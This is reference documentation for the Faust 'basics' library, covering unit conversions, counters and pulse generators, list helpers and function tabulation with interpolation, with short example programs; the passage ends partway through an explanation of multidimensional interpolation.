Eventually, we concluded that Watson et al.’s 0.5-0.6% is an overestimate, and 0.15-0.2% of the US population saved by vaccination-as estimated by regression studies on subnational-level data (e.g.,
Suthar et al. (2022) and by He et al. (2022))-is much more plausible value.
In our view, in order to be considered reliable, mathematical models should be tested on more detailed real data that was not used in model fitting. On the other hand, detailed data bring about new
challenges in statistical modelling and uncertainties in data reliability.
疗数据统计分析。在PNAS、Science Advances、Annals of Internal Medicine、European Respiratory Journal、Journal of the Royal Society Interface等期刊发表论文140余篇。Google H-index 47. 连续三年入选斯坦福
报告题目：The Effectiveness of the COVID-19 Vaccination Campaign in 2021: Inconsistency in Key Studies
报告摘要：In this work, we revisited the evaluation of the effectiveness of the COVID-19 vaccination campaign in 2021, as measured by the number of deaths averted. The published estimates differ a
lot: from one widely referenced paper by Watson et al. (2022) estimating 0.5-0.6% of the USA population being saved, to average-level estimates of 0.15-0.2%, and to some estimates as low as 0.0022%.
For other countries, Watson et al. gave much higher estimates than all other works too.
We reviewed 30 relevant papers, carried out an in-depth analysis of the model by Watson et al. and of several other studies, and provided our own regression-based analysis of the US county-level
The model by Watson et al. is very sophisticated and has many features; some of them that make it more realistic (age-structured epidemiology, “elderly first” vaccination, healthcare overload
effects), but others that are likely inaccurate (substantial reinfection rates (i.e., immunity loss) for the Alpha and Delta variants, possible overfitting due to overly flexible time-dependent
infection transmission rate) or questionable (45% increase in fatality rate for the Delta variant). Yet, the main argument is that Watson et al.’s model does not reproduce the trends observed in the
county-level US data.
Eventually, we concluded that Watson et al.’s 0.5-0.6% is an overestimate, and 0.15-0.2% of the US population saved by vaccination-as estimated by regression studies on subnational-level data (e.g.,
Suthar et al. (2022) and by He et al. (2022))-is much more plausible value.
In our view, in order to be considered reliable, mathematical models should be tested on more detailed real data that was not used in model fitting. On the other hand, detailed data bring about new
challenges in statistical modelling and uncertainties in data reliability.
疗数据统计分析。在PNAS、Science Advances、Annals of Internal Medicine、European Respiratory Journal、Journal of the Royal Society Interface等期刊发表论文140余篇。Google H-index 47. 连续三年入选斯坦福 | {"url":"http://meeting.xjtu.edu.cn/lecturenotice/6552.htm","timestamp":"2024-11-02T21:45:27Z","content_type":"text/html","content_length":"17265","record_id":"<urn:uuid:4c1e7de8-523f-4c6c-ae4e-ea1a79b209d1>","cc-path":"CC-MAIN-2024-46/segments/1730477027730.21/warc/CC-MAIN-20241102200033-20241102230033-00089.warc.gz"} |
Turning points
There are 12 NRICH Mathematical resources connected to Turning points
This problem challenges you to find cubic equations which satisfy different conditions.
Investigate the family of graphs given by the equation x^3+y^3=3axy for different values of the constant a.
Sketch the members of the family of graphs given by y = a^3/(x^2+a^2) for a=1, 2 and 3.
Find the maximum value of n to the power 1/n and prove that it is a maximum.
Find all the turning points of y=x^{1/x} for x>0 and decide whether each is a maximum or minimum. Give a sketch of the graph.
What is the quickest route across a ploughed field when your speed around the edge is greater?
This problem challenges you to sketch curves with different properties.
Find the relationship between the locations of points of inflection, maxima and minima of functions.
How many eggs should a bird lay to maximise the number of chicks that will hatch? An introduction to optimisation.
A point moves on a line segment. A function depends on the position of the point. Where do you expect the point to be for a minimum of this function to occur. | {"url":"https://nrich.maths.org/tags/turning-points","timestamp":"2024-11-14T18:37:44Z","content_type":"text/html","content_length":"58076","record_id":"<urn:uuid:29c08902-f2fa-4d7d-9421-9df9e3091baa>","cc-path":"CC-MAIN-2024-46/segments/1730477393980.94/warc/CC-MAIN-20241114162350-20241114192350-00131.warc.gz"} |
Mathematics for Elementary Teachers
Of course, we live in a three-dimensional world (at least!), so only studying flat geometry doesn’t make a lot of sense. Why not think about some three-dimensional objects as well?
A polyhedron is a solid (3-dimensional) figure bounded by polygons. A polyhedron has faces that are flat polygons, straight edges where the faces meet in pairs, and vertices where three or more edges
The plural of polyhedron is polyhedra.
Think / Pair / Share
Look at the pictures of solids below, and decide which are polyhedra and which are not. You should be able to say why each figure does or does not fit the definition.
(a)^[1] (b)^[2] (c)^[3]
(d)^[4] (e)^[5] (f)^[6]
(g)^[7] (h)^[8] (i)^[9]
Remember that a regular polygon has all sides the same length and all angles the same measure. There is a similar (if slightly more complicated) notion of regular for solid figures.
A regular polyhedron has faces that are all identical (congruent) regular polygons. All vertices are also identical (the same number of faces meet at each vertex).
Regular polyhedra are also called Platonic solids (named for Plato).
If you fix the number of sides and their length, there is one and only one regular polygon with that number of sides. That is, every regular quadrilateral is a square, but there can be different
sized squares. Every regular octagon looks like a stop sign, but it may be scaled up or down. Your job in this section is to figure out what we can say about regular polyhedra.
On Your Own
Work on the following exercises on your own or with a partner. You will need to make lots of copies of the regular polygons below. Copy and cut out at least:
• 40 copies of the equilateral triangle,
• 15 copies of the square,
• 20 copies of the regular pentagon, and
• 10 copies each of the hexagon, heptagon, and octagon.
You will also need some tape.
1. In any polyhedron, at least three polygons meet at each vertex. Start with the equilateral triangles: Put three of them together meeting at a vertex and tape them together. Then close them up so
they form a solid shape. Can you complete this shape into a platonic solid? Be sure to check that at every vertex you have exactly three triangles meeting.
2. Now repeat this process, but start with four equilateral triangles around a single vertex. Then close them up so they form a solid shape. Can you complete this into a platonic solid? Be sure to
check that at every vertex you have exactly four triangles meeting.
3. Repeat this process with five equilateral triangles, then six, then seven, and so on. Keep going until you are convinced you understand what’s happening with Platonic solids that have triangular
4. When you are done with triangular faces, move on to square faces. Work systematically: Try to build a Platonic solid with three squares at each vertex, then four, then five, etc. Keep going until
you can make a definitive statement about Platonic solids with square faces.
5. Repeat this process with the other regular polygons you cut out: pentagons, hexagons, heptagons, and octagons.
You must have noticed that the situation for Platonic solids is quite different from the situation for regular polygons. There are infinitely many regular polygons (even if you don’t account for
size). There is a regular polygon with n sides for every value of n bigger than 2. But for solids, we have the following (perhaps surprising) result.
There are exactly five Platonic solids.
The key fact is that for a three-dimensional solid to close up and form a polyhedron, there must be less than 360° around each vertex. Otherwise, it either lies flat (if there is exactly 360°) or
folds over on itself (if there is more than 360°).
Problem 9
Based on your work in the exercises, you should be able to write a convincing justification of the Theorem above. Here’s a sketch, and you should fill in the explanations.
1. If a Platonic solid has faces that are equilateral triangles, then fewer than 6 faces must meet at each vertex. Why?
2. If a Platonic solid has square faces, then three faces can meet at each vertex, but not more than that. Why?
3. If a Platonic solid has faces that are regular pentagons, then three faces can meet at each vertex, but not more than that. Why?
4. Regular hexagons cannot be used as the faces for a Platonic solid. Why?
5. Similarly, regular n-gons for n bigger than 6 cannot be used as the faces for a Platonic solid. Why? | {"url":"https://pressbooks.oer.hawaii.edu/mathforelementaryteachers/chapter/platonic-solids/","timestamp":"2024-11-01T22:39:50Z","content_type":"text/html","content_length":"92092","record_id":"<urn:uuid:5131a118-663b-4efa-a328-c4ab2e4bd795>","cc-path":"CC-MAIN-2024-46/segments/1730477027599.25/warc/CC-MAIN-20241101215119-20241102005119-00492.warc.gz"} |
{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": true, "tags": [ "remove_cell" ] }, "outputs": [], "source": [ "# HIDDEN\n", "from datascience import *\n", "from
prob140 import *\n", "import numpy as np\n", "from myst_nb import glue\n", "import matplotlib.pyplot as plt\n", "plt.style.use('fivethirtyeight')\n", "%matplotlib inline\n", "from scipy import stats"
] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## Symmetry and Indicators ##" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "\n", "When the random variables that are being
added are not independent, finding the variance of the sum does involve finding covariances. As before, let $X_1, X_2, \\ldots X_n$ be random variables with sum\n", "\n", "$$\n", "S_n = \\sum_{i=1}^n
X_i\n", "$$\n", "\n", "The variance of the sum is\n", "\n", "$$\n", "Var(S_n) ~ = ~ \\sum_{i=1}^n Var(X_i) + \\mathop{\\sum \\sum}_{1 \\le i \\ne j \\le n} Cov(X_i, X_j)\n", "$$\n", "\n", "There are
$n$ variance terms in the first sum on the right hand side, and $n(n-1)$ covariance terms. That's a lot of variances and covariances to calculate. Finding the variance of a sum of dependent random
variables can require effort. \n", "\n", "But ***if there is symmetry in the joint distribution of $X_1, X_2, \\ldots, X_n$***, that is, if all the variances are equal and all the covariances are
equal, then\n", "\n", "$$\n", "Var(S_n) ~ = ~ nVar(X_1) + n(n-1)Cov(X_1, X_2)\n", "$$\n", "\n", "That looks much simpler. In the examples below we will see a couple of different ways of using this
simple form when we have symmetry." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Before we apply the formula, let's start out by finding the covariance of two indicators. We will need
this when we find the variance of a sum of indicators." ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "tags": [ "remove-cell" ] }, "outputs": [ { "data": { "text/html": [ "\n", " \
n", " " ], "text/plain": [ "" ] }, "execution_count": 2, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# VIDEO: Covariance of Two Indicators \n", "from IPython.display import
YouTubeVideo\n", "\n", "vid_cov_2ind = YouTubeVideo('9j8VwhEsWrk')\n", "glue(\"vid_cov_2ind\", vid_cov_2ind)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "```{dropdown} See More\n",
":icon: video\n", "{glue:}`vid_cov_2ind`\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Indicators ###\n", "Let $A$ and $B$ be two events. Let $I_A$ be the indicator of
$A$ and let $I_B$ be the indicator of $B$. This is going to be one of the rare instances where we use an expected product to find a covariance. That's because we know that products of indicators are
themselves indicators.\n", "\n", "$$\n", "Cov(I_A, I_B) = E(I_AI_B) - E(I_A)E(I_B) = P(AB) - P(A)P(B)\n", "$$\n", "\n", "You can see that the covariance is 0 if $A$ and $B$ are independent,
consistent with the more general result earlier in this chapter. \n", "\n", "When $A$ and $B$ are not independent, covariance helps us understand the nature of the dependence. For example, if $Cov
(I_A, I_B)$ is positive, then\n", "\n", "$$\n", "P(AB) > P(A)P(B) ~~~ \\implies ~~~ P(A)P(B \\mid A) > P(A)P(B)\n", "~~~ \\implies ~~~ P(B \\mid A) > P(B)\n", "$$\n", "\n", "Given that $A$ has
occurred, the chance of $B$ is higher than it is overall. This is called *positive association* or *positive dependence* of $A$ and $B$." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "
```{admonition} Quick Check\n", "One draw is made at random from the integers $1$ through $10$. Find the covariance of the indicators $I_A$ and $I_B$ defined as follows.\n", "\n", "$I_A$ is the
indicator of the event that the number drawn is greater than $6$.\n", "\n", "$I_B$ is the indicator of the event that the number drawn is a multiple of $5$.\n", "\n", "```" ] }, { "cell_type":
"markdown", "metadata": {}, "source": [ "```{admonition} Answer\n", ":class: dropdown\n", "$1/50$\n", "\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Example: Number of
Classes ###\n", "\n", "Suppose you draw $n$ times at random from a population that is evenly split between several classes. For example, this could be a model for the birth months of $n$ people if
each person is equally likely to be born in any of the 12 months of the year independent of the births of all others. You can model this as drawing $n$ times at random with replacement from the 12
months.\n", "\n", "Suppose we want to find the expectation and variance of the number of classes that appear in the sample, that is, the number of months that appear.\n", "\n", "Let $X$ be the number
of months that appear in the sample. You will have noticed by now that it is often easier to deal with the months that don't appear. So let $Y$ be the number of months that don't appear. Then $X =
12-Y$, and so $E(X) = 12 - E(Y)$ and $Var(X) = Var(Y)$.\n", "\n", "To find $E(Y)$, write $Y$ as a sum of indicators: $Y = I_1 + I_2 + \\cdots + I_{12}$ where $I_j$ is the indicator of the event that
Month $j$ doesn't appear.\n", "\n", "Now $E(I_j) = P(\\text{month } j \\text{ doesn't appear}) = \\big{(} \\frac{11}{12} \\big{)}^n$ is the same for all $j$. By the additivity of expectation, \n", "\
n", "$$\n", "E(Y) ~ = ~ 12E(I_1) ~ = ~ 12\\big{(} \\frac{11}{12} \\big{)}^n\n", "$$\n", "\n", "So $E(X) = 12 - 12\\big{(} \\frac{11}{12} \\big{)}^n$.\n", "\n", "Since $I_j$ is an indicator, $Var(I_j)
= \\big{(} \\frac{11}{12} \\big{)}^n\\big{(}1 - \\big{(} \\frac{11}{12} \\big{)}^n\\big{)}$ for all $j$. \n", "\n", "By the formula for the covariance of two indicators, for $i \\ne j$\n", "\n", "$$\
n", "\\begin{align*}\n", "Cov(I_i, I_j) ~ &= ~ P(\\text{months } i \\text{ and } j \\text{ don't appear}) - \\big{(} \\frac{11}{12} \\big{)}^n\\big{(} \\frac{11}{12} \\big{)}^n \\\\\n", "&= ~ \\big
{(} \\frac{10}{12} \\big{)}^n - \\big{(} \\frac{11}{12} \\big{)}^n\\big{(} \\frac{11}{12} \\big{)}^n\n", "\\end{align*}\n", "$$\n", "\n", "Put all this together to get\n", "\n", "$$\n", "\\begin
{align*}\n", "Var(X) ~ = ~ Var(Y) ~ &= 12Var(I_1) + 12 \\cdot 11 \\cdot Cov(I_1, I_2) \\\\\n", "&= ~ 12\\big{(} \\frac{11}{12} \\big{)}^n\\big{(}1 - \\big{(} \\frac{11}{12} \\big{)}^n\\big{)} ~ + ~\
n", "12 \\cdot 11 \\cdot \\Big{(} \\big{(} \\frac{10}{12} \\big{)}^n - \\big{(} \\frac{11}{12} \\big{)}^n\\big{(} \\frac{11}{12} \\big{)}^n \\Big{)}\n", "\\end{align*}\n", "$$" ] }, { "cell_type":
"code", "execution_count": 3, "metadata": { "tags": [ "remove-cell" ] }, "outputs": [ { "data": { "text/html": [ "\n", " \n", " " ], "text/plain": [ "" ] }, "execution_count": 3, "metadata": {},
"output_type": "execute_result" } ], "source": [ "# VIDEO: Variance of a Simple Random Sample Sum\n", "vid_var_srs_sum = YouTubeVideo('XWHrPZOgD0A')\n", "glue(\"vid_var_srs_sum\", vid_var_srs_sum)" ]
}, { "cell_type": "markdown", "metadata": {}, "source": [ "```{dropdown} See More\n", ":icon: video\n", "{glue:}`vid_var_srs_sum`\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [
"### Variance of a Simple Random Sample Sum ###\n", "Suppose we have a numerical population of size $N$, and let the population have mean $\\mu$ and standard deviation $\\sigma$. Draw a simple random
sample of size $n$ from the population. For $j$ in the range 1 through $n$, let $X_j$ be the $j$th value drawn.\n", "\n", "Let $S_n = X_1 + X_2 + \\cdots + X_n$. Then by the symmetry of the joint
distribution of $X_1, X_2, \\cdots, X_n$ we know that $E(S_n) = n\\mu$. \n", "\n", "Also by symmetry,\n", "\n", "$$\n", "Var(S_n) ~ = ~ nVar(X_1) + n(n-1)Cov(X_1, X_2) ~ = ~ n\\sigma^2 + n(n-1)Cov
(X_1, X_2)\n", "$$\n", "\n", "How can we find $Cov(X_1, X_2)$? It's not a good idea to try and multiply the two variables, as they are dependent and their distributions might be unpleasant. The
expected product will be hard to find.\n", "\n", "Instead, we will ***solve for the covariance by using the equation above in a special case where we already know the variance on the left hand
side.***\n", "\n", "The equation above for $Var(S_n)$ is valid for any sample size $n$. In particular, it is valid in the case when we take a census, that is, when we sample all the elements of the
population. In that case $n = N$ and the equation is\n", "\n", "$$\n", "Var(S_N) = N\\sigma^2 + N(N-1)Cov(X_1, X_2)\n", "$$\n", "\n", "Why is helpful? To answer this, think about the variability in
$S_N$. We have sampled the entire population without replacement. Therefore $S_N$ is just the total of the entire population. There is no sampling variability in $S_N$, because there is only one
possible sample of size $N$.\n", "\n", "That means $Var(S_N) = 0$. We can use this to solve for $Cov(X_1, X_2)$.\n", "\n", "$$\n", "0 = N\\sigma^2 + N(N-1)Cov(X_1, X_2) ~~~~~ \\implies ~~~~~\n", "Cov
(X_1, X_2) = -\\frac{\\sigma^2}{N-1}\n", "$$\n", "\n", "Now plug this into the formula for $Var(S_n)$ for any smaller sample size $n$.\n", "\n", "$$\n", "Var(S_n) ~ = ~ n\\sigma^2 - n(n-1)\\frac{\\
sigma^2}{N-1} ~ = ~\n", "n\\sigma^2 \\Big{(} 1 - \\frac{n-1}{N-1} \\Big{)} ~ = ~\n", "n\\sigma^2 \\frac{N-n}{N-1}\n", "$$" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Recall that
when the sample is drawn with replacement, the variance of the sample sum is $n\\sigma^2$. When the sample is drawn without replacement, the formula is the same apart from the factor of $\\frac{N-n}
{N-1}$. In the next section we will examine this factor." ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "tags": [ "remove-cell" ] }, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " " ], "text/plain": [ "" ] }, "execution_count": 4, "metadata": {}, "output_type": "execute_result" } ], "source": [ "# VIDEO: Variance of the Hypergeometric\n", "vid_var_hyp = YouTubeVideo
('SJ2X0h2XdiY')\n", "glue(\"vid_var_hyp\", vid_var_hyp)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "```{dropdown} See More\n", ":icon: video\n", "{glue:}`vid_var_hyp`\n", "```" ] },
{ "cell_type": "markdown", "metadata": {}, "source": [ "### Example: Variance of the Hypergeometric ###\n", "\n", "A important special case is when the numbers in the population are either $0$ or
$1$. This models the situation in which some of the elements in the population are \"good\" and we are counting the number of good elements in a simple random sample. \n", "\n", "If the population
consists of $N$ elements of which $G$ are labeled $1$, then \n", "\n", "- the population mean $\\mu = \\frac{G}{N}$, and \n", "- the population variance $\\sigma^2 = \\frac{G}{N}\\cdot\\frac{B}{N}$
where $B = N-G$ is the number of \"bad\" elements in the population.\n", "\n", "Let $X$ be the number of good elements in simple random sample of $n$ elements drawn from the population. Remember that
simple random samples are drawn without replacement, and that $X$ has the hypergeometric $(N, G, n)$ distribution.\n", "\n", "Let $I_j$ be the indicator that Draw $j$ yields a good element. Then $X =
\\sum_{j=1}^n I_j$ is the sum of a simple random sample drawn from the population of $0$s and $1$s. By plugging into the formulas derived above,\n", "\n", "$$\n", "E(X) ~ = ~ n\\frac{G}{N} ~~~~~ Var
(X) ~ = ~ n \\frac{G}{N} \\cdot \\frac{B}{N} \\cdot \\Big{(} \\frac{N-n}{N-1} \\Big{)}\n", "$$\n", "\n", "These formulas for the hypergeometric expectation and variace are almost the same as for the
binomial when the sampling was done *with* replacement. The only difference is in the variance formula, where instead of just $npq$ we have another factor of $\\frac{N-n}{N-1}$.\n", "\n", "As an
exercise, you should write $X$ as a sum of indicators and then use the methods of the first example in this section to find $Var(X)$. Be warned that some algebra is required to get it into the
compact form given above." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "```{admonition} Quick Check\n", "A standard deck has $52$ cards of which four are aces. Find the expectation
and variance of the number of aces in a poker hand of five cards dealt at random without replacement.\n", "\n", "```" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "```{admonition}
Answer\n", ":class: dropdown\n", "Expectation $5\\cdot\\frac{4}{52}$, variance $5\\cdot\\frac{4}{52}\\cdot\\frac{48}{52}\\cdot\\frac{47}{51}$\n", "\n", "```" ] }, { "cell_type": "code",
"execution_count": null, "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "anaconda-cloud": {}, "celltoolbar": "Tags", "kernelspec": { "display_name": "Python 3", "language": "python",
"name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python",
"pygments_lexer": "ipython3", "version": "3.8.4" } }, "nbformat": 4, "nbformat_minor": 1 } | {"url":"http://prob140.org/textbook/_sources/content/Chapter_13/04_Symmetry_and_Indicators.ipynb","timestamp":"2024-11-07T09:58:15Z","content_type":"text/plain","content_length":"16086","record_id":"<urn:uuid:e7b8b919-c75d-4192-9324-d628a0ed155e>","cc-path":"CC-MAIN-2024-46/segments/1730477027987.79/warc/CC-MAIN-20241107083707-20241107113707-00690.warc.gz"} |
A library of basic elements. Its official prefix is ba.
Conversion Tools
Converts a number of samples to a duration in seconds at the current sampling rate (see ma.SR). samp2sec is a standard Faust function.
samp2sec(n) : _
Converts a duration in seconds to a number of samples at the current sampling rate (see ma.SR). samp2sec is a standard Faust function.
sec2samp(d) : _
dB-to-linear value converter. It can be used to convert an amplitude in dB to a linear gain ]0-N]. db2linear is a standard Faust function.
db2linear(l) : _
linea-to-dB value converter. It can be used to convert a linear gain ]0-N] to an amplitude in dB. linear2db is a standard Faust function.
linear2db(g) : _
Converts a linear gain (0-1) to a log gain (0-1).
lin2LogGain(n) : _
Converts a log gain (0-1) to a linear gain (0-1).
log2LinGain(n) : _
Returns a real pole giving exponential decay. Note that t60 (time to decay 60 dB) is ~6.91 time constants. tau2pole is a standard Faust function.
_ : smooth(tau2pole(tau)) : _
• tau: time-constant in seconds
Returns the time-constant, in seconds, corresponding to the given real, positive pole in (0-1). pole2tau is a standard Faust function.
pole2tau(pole) : _
Converts a MIDI key number to a frequency in Hz (MIDI key 69 = A440). midikey2hz is a standard Faust function.
midikey2hz(mk) : _
Converts a frequency in Hz to a MIDI key number (MIDI key 69 = A440). hz2midikey is a standard Faust function.
hz2midikey(freq) : _
Converts semitones in a frequency multiplicative ratio. semi2ratio is a standard Faust function.
semi2ratio(semi) : _
Converts a frequency multiplicative ratio in semitones. ratio2semi is a standard Faust function.
ratio2semi(ratio) : _
• ratio: frequency multiplicative ratio
Converts cents in a frequency multiplicative ratio.
cent2ratio(cent) : _
Converts a frequency multiplicative ratio in cents.
ratio2cent(ratio) : _
• ratio: frequency multiplicative ratio
Converts a piano key number to a frequency in Hz (piano key 49 = A440).
pianokey2hz(pk) : _
Converts a frequency in Hz to a piano key number (piano key 49 = A440).
hz2pianokey(freq) : _
Counters and Time/Tempo Tools
Starts counting 0, 1, 2, 3..., and raise the current integer value at each upfront of the trigger.
counter(trig) : _
• trig: the trigger signal, each upfront will move the counter to the next integer
Starts counting down from n included to 0. While trig is 1 the output is n. The countdown starts with the transition of trig from 1 to 0. At the end of the countdown the output value will remain at 0
until the next trig. countdown is a standard Faust function.
countdown(n,trig) : _
• n: the starting point of the countdown
• trig: the trigger signal (1: start at n; 0: decrease until 0)
Starts counting up from 0 to n included. While trig is 1 the output is 0. The countup starts with the transition of trig from 1 to 0. At the end of the countup the output value will remain at n until
the next trig. countup is a standard Faust function.
countup(n,trig) : _
• n: the maximum count value
• trig: the trigger signal (1: start at 0; 0: increase until n)
Counts from 0 to period-1 repeatedly, generating a sawtooth waveform, like os.lf_rawsaw, starting at 1 when run transitions from 0 to 1. Outputs zero while run is 0.
sweep(period,run) : _
A simple timer that counts every samples from the beginning of the process. time is a standard Faust function.
time : _
A linear ramp with a slope of '(+/-)1/n' samples to reach the next target value.
_ : ramp(n) : _
• n: number of samples to increment/decrement the value by one
A ramp interpolator that generates a linear transition to reach a target value:
• the interpolation process restarts each time a new and distinct input value is received
• it utilizes 'n' samples to achieve the transition to the target value
• after reaching the target value, the output value is maintained.
_ : line(n) : _
• n: number of samples to reach the new target received at its input
Converts a tempo in BPM into a number of samples.
tempo(t) : _
Basic sawtooth wave of period p.
period(p) : _
• p: period as a number of samples
Produces a single pulse of n samples when trig goes from 0 to 1.
spulse(n,trig) : _
• n: pulse length as a number of samples
• trig: the trigger signal (1: start the pulse)
Pulses (like 10000) generated at period p.
pulse(p) : _
• p: period as a number of samples
Pulses (like 11110000) of length n generated at period p.
pulsen(n,p) : _
• n: pulse length as a number of samples
• p: period as a number of samples
Split nonzero input values into n cycles.
_ : cycle(n) : si.bus(n)
• n: the number of cycles/output signals
Pulses at tempo t. beat is a standard Faust function.
beat(t) : _
Starts counting up pulses. While trig is 1 the output is counting up, while trig is 0 the counter is reset to 0.
_ : pulse_countup(trig) : _
• trig: the trigger signal (1: start at next pulse; 0: reset to 0)
Starts counting down pulses. While trig is 1 the output is counting down, while trig is 0 the counter is reset to 0.
_ : pulse_countdown(trig) : _
• trig: the trigger signal (1: start at next pulse; 0: reset to 0)
Starts counting up pulses from 0 to n included. While trig is 1 the output is counting up, while trig is 0 the counter is reset to 0. At the end of the countup (n) the output value will be reset to
_ : pulse_countup_loop(n,trig) : _
• n: the highest number of the countup (included) before reset to 0
• trig: the trigger signal (1: start at next pulse; 0: reset to 0)
Starts counting down pulses from 0 to n included. While trig is 1 the output is counting down, while trig is 0 the counter is reset to 0. At the end of the countdown (n) the output value will be
reset to 0.
_ : pulse_countdown_loop(n,trig) : _
• n: the highest number of the countup (included) before reset to 0
• trig: the trigger signal (1: start at next pulse; 0: reset to 0)
Function that lets through the mth impulse out of each consecutive group of n impulses.
_ : resetCtr(n,m) : _
• n: the total number of impulses being split
• m: index of impulse to allow to be output
Array Processing/Pattern Matching
Count the number of elements of list l. count is a standard Faust function.
count((10,20,30,40)) -> 4
Take an element from a list. take is a standard Faust function.
take(3,(10,20,30,40)) -> 30
• P: position (int, known at compile time, P > 0)
• l: list of elements
Extract a part of a list.
subseq(l, P, N)
subseq((10,20,30,40,50,60), 1, 3) -> (20,30,40)
subseq((10,20,30,40,50,60), 4, 1) -> 50
• l: list
• P: start point (int, known at compile time, 0: begin of list)
• N: number of elements (int, known at compile time)
Faust doesn't have proper lists. Lists are simulated with parallel compositions and there is no empty list.
Function tabulation
The purpose of function tabulation is to speed up the computation of heavy functions over an interval, so that the computation at runtime can be faster than directly using the function. Two
techniques are implemented:
• tabulate computes the function in a table and read the points using interpolation. tabulateNd is the N dimensions version of tabulate
• tabulate_chebychev uses Chebyshev polynomial approximation
Comparison program example
process = line(50000, r0, r1) <: FX-tb,FX-ch : par(i, 2, maxerr)
with {
C = 0;
FX = sin;
NX = 50;
CD = 3;
r0 = 0;
r1 = ma.PI;
tb(x) = ba.tabulate(C, FX, NX*(CD+1), r0, r1, x).cub;
ch(x) = ba.tabulate_chebychev(C, FX, NX, CD, r0, r1, x);
maxerr = abs : max ~ _;
line(n, x0, x1) = x0 + (ba.time%n)/n * (x1-x0);
Tabulate a 1D function over the range [r0, r1] for access via nearest-value, linear, cubic interpolation. In other words, the uniformly tabulated function can be evaluated using interpolation of
order 0 (none), 1 (linear), or 3 (cubic).
tabulate(C, FX, S, r0, r1, x).(val|lin|cub) : _
• C: whether to dynamically force the x value to the range [r0, r1]: 1 forces the check, 0 deactivates it (constant numerical expression)
• FX: unary function Y=F(X) with one output (scalar function of one variable)
• S: size of the table in samples (constant numerical expression)
• r0: minimum value of argument x
• r1: maximum value of argument x
tabulate(C, FX, S, r0, r1, x).val uses the value in the table closest to x
tabulate(C, FX, S, r0, r1, x).lin evaluates at x using linear interpolation between the closest stored values
tabulate(C, FX, S, r0, r1, x).cub evaluates at x using cubic interpolation between the closest stored values
Example test program
midikey2hz(mk) = ba.tabulate(1, ba.midikey2hz, 512, 0, 127, mk).lin;
process = midikey2hz(ba.time), ba.midikey2hz(ba.time);
Tabulate a 1D function over the range [r0, r1] for access via Chebyshev polynomial approximation. In contrast to (ba.)tabulate, which interpolates only between tabulated samples, (ba.)
tabulate_chebychev stores coefficients of Chebyshev polynomials that are evaluated to provide better approximations in many cases. Two new arguments controlling this are NX, the number of segments
into which [r0, r1] is divided, and CD, the maximum Chebyshev polynomial degree to use for each segment. A rdtable of size NX*(CD+1) is internally used.
Note that processing r1 the last point in the interval is not safe. So either be sure the input stays in [r0, r1[ or use C = 1.
_ : tabulate_chebychev(C, FX, NX, CD, r0, r1) : _
• C: whether to dynamically force the value to the range [r0, r1]: 1 forces the check, 0 deactivates it (constant numerical expression)
• FX: unary function Y=F(X) with one output (scalar function of one variable)
• NX: number of segments for uniformly partitioning [r0, r1] (constant numerical expression)
• CD: maximum polynomial degree for each Chebyshev polynomial (constant numerical expression)
• r0: minimum value of argument x
• r1: maximum value of argument x
Example test program
midikey2hz_chebychev(mk) = ba.tabulate_chebychev(1, ba.midikey2hz, 100, 4, 0, 127, mk);
process = midikey2hz_chebychev(ba.time), ba.midikey2hz(ba.time);
Tabulate an nD function for access via nearest-value or linear or cubic interpolation. In other words, the tabulated function can be evaluated using interpolation of order 0 (none), 1 (linear), or 3
The table size and parameter range of each dimension can and must be separately specified. You can use it anywhere you have an expensive function with multiple parameters with known ranges. You could
use it to build a wavetable synth, for example.
The number of dimensions is deduced from the number of parameters you give, see below.
Note that processing the last point in each interval is not safe. So either be sure the inputs stay in their respective ranges, or use C = 1. Similarly for the first point when doing cubic
tabulateNd(C, function, (parameters) ).(val|lin|cub) : _
• C: whether to dynamically force the parameter values for each dimension to the ranges specified in parameters: 1 forces the check, 0 deactivates it (constant numerical expression)
• function: the function we want to tabulate. Can have any number of inputs, but needs to have just one output.
• (parameters): sizes, ranges and read values. Note: these need to be in brackets, to make them one entity.
If N is the number of dimensions, we need:
• N times S: number of values to store for this dimension (constant numerical expression)
• N times r0: minimum value of this dimension
• N times r1: maximum value of this dimension
• N times x: read value of this dimension
By providing these parameters, you indirectly specify the number of dimensions; it's the number of parameters divided by 4.
The user facing functions are:
tabulateNd(C, function, S, parameters).val
• Uses the value in the table closest to x.
tabulateNd(C, function, S, parameters).lin
• Evaluates at x using linear interpolation between the closest stored values.
tabulateNd(C, function, S, parameters).cub
• Evaluates at x using cubic interpolation between the closest stored values.
Example test program
powSin(x,y) = sin(pow(x,y)); // The function we want to tabulate
powSinTable(x,y) = ba.tabulateNd(1, powSin, (sizeX,sizeY, rx0,ry0, rx1,ry1, x,y) ).lin;
sizeX = 512; // table size of the first parameter
sizeY = 512; // table size of the second parameter
rx0 = 2; // start of the range of the first parameter
ry0 = 2; // start of the range of the second parameter
rx1 = 10; // end of the range of the first parameter
ry1 = 10; // end of the range of the second parameter
x = hslider("x", rx0, rx0, rx1, 0.001):si.smoo;
y = hslider("y", ry0, ry0, ry1, 0.001):si.smoo;
process = powSinTable(x,y), powSin(x,y);
Working principle
The .val function just outputs the closest stored value. The .lin and .cub functions interpolate in N dimensions.
Multi dimensional interpolation
To understand what it means to interpolate in N dimensions, here's a quick reminder on the general principle of 2D linear interpolation:
• We have a grid of values, and we want to find the value at a point (x, y) within this grid.
• We first find the four closest points (A, B, C, D) in the grid surrounding the point (x, y).
Then, we perform linear interpolation in the x-direction between points A and B, and between points C and D. This gives us two new points E and F. Finally, we perform linear interpolation in the
